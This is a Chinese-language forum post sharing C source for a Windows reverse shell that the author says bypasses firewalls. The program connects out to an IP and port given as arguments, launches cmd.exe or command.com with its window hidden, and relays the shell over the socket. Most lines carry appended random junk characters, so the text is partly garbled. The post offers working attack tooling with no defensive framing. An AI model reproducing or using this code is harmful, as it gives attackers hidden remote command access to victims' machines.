这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mufi>}
O%;H#3kn&s
/* ============================== bO>q`%&
Rebound port in Windows NT q%%8oaEI
By wind,2006/7 j}3Avu%
===============================*/ q 9lz
#include 3
HOJCgit
#include q,3_)ZOq
2jV.\C k
#pragma comment(lib,"wsock32.lib") @H2c77%
[74HUw>
void OutputShell(); B :#5U85m
SOCKET sClient; $$ou qLu
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; r:lv[/D
'g.9
goQ
void main(int argc,char **argv) *F0O*n*7W
{ |VxEWU/
WSADATA stWsaData; EITA[Ba B`
int nRet; Z&9MtpC+N3
SOCKADDR_IN stSaiClient,stSaiServer; g"aWt%
P
al/Mgo
if(argc != 3) 6t/nM
{ P,U$
X+
printf("Useage:\n\rRebound DestIP DestPort\n"); yW5/Y02
return; r8>(ayJ,
} BK`NPC$a
q)vdDdRe_
WSAStartup(MAKEWORD(2,2),&stWsaData); VWDXEa9
/{@^h#4M1
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &AM<H}>
h!.#r*vV
stSaiClient.sin_family = AF_INET; +TzZ
stSaiClient.sin_port = htons(0); -5;Kyio
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W[Kv
Qt3%
i4;`dCT|A
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ETU.v*HT]
{ ZslH2#
printf("Bind Socket Failed!\n"); >Y,3EI\
return; n.9k<
} l{q$[/J~)
rHe*/nN%*
stSaiServer.sin_family = AF_INET; X 'D ~#r
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); b^
wWg
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s&(,_34
wkNf[>jX?
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a (Q4*XH4
{ '2)c;/-E
printf("Connect Error!"); BCnf'0q
return; w1Ar[
P
} }{FKs!(4
OutputShell(); "p]F q,
} )gM3,gSS
ifA=qn0=}
void OutputShell() Ve/"9?Y_
{ ]LGp3)T-
char szBuff[1024]; +Smt8O<N
SECURITY_ATTRIBUTES stSecurityAttributes; D2hEI2S
OSVERSIONINFO stOsversionInfo; 3Ee8_(E\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F\pw0^K;N
STARTUPINFO stStartupInfo; 9iMQq40
char *szShell; /WIO@c
PROCESS_INFORMATION stProcessInformation; \Xy]z
unsigned long lBytesRead; b1X.#pz7F
00DWXGt20o
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -KzU''
lo }[o0X
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aFkxR\x
6%
stSecurityAttributes.lpSecurityDescriptor = 0; XD1x*#
stSecurityAttributes.bInheritHandle = TRUE; _-NS-E
9C$#A +~C
n])-+[F
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b0\'JZ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]>utLi5dX
Dq T)%a
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); IKJ~sw~AQ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K?l1Gj
stStartupInfo.wShowWindow = SW_HIDE; #
SmM5%
stStartupInfo.hStdInput = hReadPipe; 'WqSHb7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,gU%%>-_~w
`
eB-C//
GetVersionEx(&stOsversionInfo); Bx(+uNQ
8ad!.
switch(stOsversionInfo.dwPlatformId) ~;ink
{ wu*WA;FnA
case 1: JOj\#!\>k0
szShell = "command.com"; =k4yWC5-
break; >40B
Fxc
default: E(G=~>P
szShell = "cmd.exe"; r#{r]q_E*
break; {$iJYS\
} D3^[OHi~a
Q9K+k*?{N
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ':,6s
~A8%[.({5
send(sClient,szMsg,77,0); MDkIaz\U
while(1) :oB4\/(G#
{ .?SClTqg
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^H+j;K{5,
if(lBytesRead) YYI
{ UT[9ERS
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5iola}6
send(sClient,szBuff,lBytesRead,0); SwQ.tK1p
} d9/E^)TT
else Fqzk/m
{ $"{V],:T
|
lBytesRead=recv(sClient,szBuff,1024,0); ~H0~5v F
if(lBytesRead<=0) break; $8&HpX#h$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vg5zsR0u
} }\u~He%
} +N[dYm
i7~oZ)w
return; 4~a0
}